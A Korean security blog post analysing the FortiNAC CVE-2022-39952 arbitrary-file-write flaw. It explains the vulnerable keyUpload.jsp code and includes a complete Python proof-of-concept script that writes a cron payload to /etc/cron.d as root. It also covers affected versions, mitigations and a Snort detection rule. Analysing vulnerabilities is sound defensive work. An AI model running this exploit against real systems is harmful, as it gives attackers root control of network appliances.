목차
Fortinet FortiNAC (CVE-2022-39952) 취약점 한줄 요약
Fortinet의 FortiNAC 제품에서 "keyUpload.jsp" Fortinet의 FortiNAC 제품에서 "keyUpload.jsp" 엔트포인트의 파일 업로드 기능을 악용 RCE 공격을 이용 특수 제작된 파일을 업로드할 수 있습니다.
Fortinet 회사, FortiNAC 제품 소개
Fortinet은 물리적 방화벽, 바이러스 백신 소프트웨어, 침입 방지 시스템 및 엔드포인트 보안 구성 요소와 같은 사이버 보안 솔루션을 개발 및 판매 회사.
FortiNAC™은 네트워크에 연결하는 모든 항목에 대한 가시성, 제어, 자동 대응을 제공함으로써 보안 패브릭을 강화하는 포티넷의 네트워크 액세스 제어 솔루션입니다.
취약점 분석
- 취약점이 존재하는 keyUpload.jsp 파일 내용을 확인해보면
cat bsc/campusMgr/ui/RooT/configWizard/keyUpload.jsp
"key" 매개변수의 내용을 '/bsc/campusMgr/config/upload.applianceKey' 파일에 기록 하는데.
업로드된 파일의 내용을 제대로 검증하지 않는 코드에서 취약점이 발생.
String name = fi.getFiledName();
if( name.equals("key") && fi.getSize() > 0 )
{ File uploadFile = new File("/bsc/campusMgr/config/upload.applianceKey");
공격 과정
1. 사용자가 임의 조작된. zip 파일 업로드 시도 하면.
2. /bsc/campusMgr/config/upload.applianceKey 파일에 업로드된 파일을 기록 하게 됩니다.
3. 그리고 아래 스크립트에서 와 같이, Runtime(). Exec()에 있는 bash 스크립트를 실행 하게 되는데.
Process prKey = rtKey.exec( "sudo /bsc/campusMgr/bin/configApplianceXml" );
- 파일의 내용을 살펴보면
cat /bsc/campusMgr/bin/configApplianceXml
unzip - 업로드된 파일의 압축 해제를 실행하는데
압축 해제 전, cd / 명령어가 먼저 실행. 현재 작업 디렉토리 위로 이동하지 않는 한 모든 경로에 파일을 배치할 수 있게 됩니다.
4. 조작된 zip 파일을 루트 권한으로 원하는 경로에 원격 코드 명령을 실행 시킬 수 있게 됩니다.
ex) 이런 공격 과정을 이용 /etc/cron.d에 크론 작업을 추가하여 악성 명령을 실행하도록 합니다.
POC
출처 : https://github.com/horizon3ai/CVE-2022-39952/blob/master/CVE-2022-39952.py
#!/usr/bin/python3
import argparse
import requests
import zipfile
import urllib3
urllib3.disable_warnings()
def exploit(target):
url = f'https://{target}:8443/configWizard/keyUpload.jsp'
r = requests.post(url, files={'key': open('payload.zip', 'rb')}, verify=False)
if 'SuccessfulUpload' in r.text:
print(f'[+] Payload successfully delivered')
def make_zip(payload_file):
fullpath = '/etc/cron.d/payload'
zf = zipfile.ZipFile('payload.zip', 'w')
zf.write(payload_file, fullpath)
zf.close()
print(f'[+] Wrote {payload_file} to {fullpath}')
if __name__ == "__main__":
parser = argparse.ArgumentParser()
parser.add_argument('-t', '--target', help='The IP address of the target', required=True)
parser.add_argument('-f', '--file', help='The cronjob payload file', required=True)
args = parser.parse_args()
make_zip(args.file)
exploit(args.target)
영향 받는 버전
- FortiNAC 버전 9.4.0
- FortiNAC 버전 9.2.0~9.2.5
- FortiNAC 버전 9.1.0~9.1.7
- FortiNAC 버전 8.3~8.8
대응 방법
1. 패치된 버전이 /bsc/campusMgr/ui/ROOT/configWizard/keyUpload.jsp 파일을 제거했기 때문에 해당 파일이 있는지 확인할 것
2. Fortinet의 FortiNAC 제품 버전 업데이트
3. 인증된 사용자만 keyUpload .jsp 파일에 액세스할 수 있도록 시스템을 구성
탐지 Rule
alert tcp any any -> any any (
msg:"Fortinet Fortinac keyUpload.jsp zip file upload attempt";
content:"/configWizard/keyUpload.jsp"; fast_pattern:only; http_uri;
content:"filename="; http_client_body;;
)
용어 설명
sudo 명령어 : root 권한을 이용하여 명령어를 실행할 때 사용
equals() : 두 인스턴스의 주소값을 비교하여 같은 인스턴스인지를 확인하고 같으면 true , 다르면 false 의 boolean 값을 리턴하는 메서드이다.
'CVE' 카테고리의 다른 글
Klog Server OS injection (CVE-2020-35729,CVE-2020-3317) 분석 (0) | 2021.02.28 |
---|---|
Nexus Repository Manager 원격 코드 실행 시도(CVE-2019-7238) (0) | 2020.09.02 |
댓글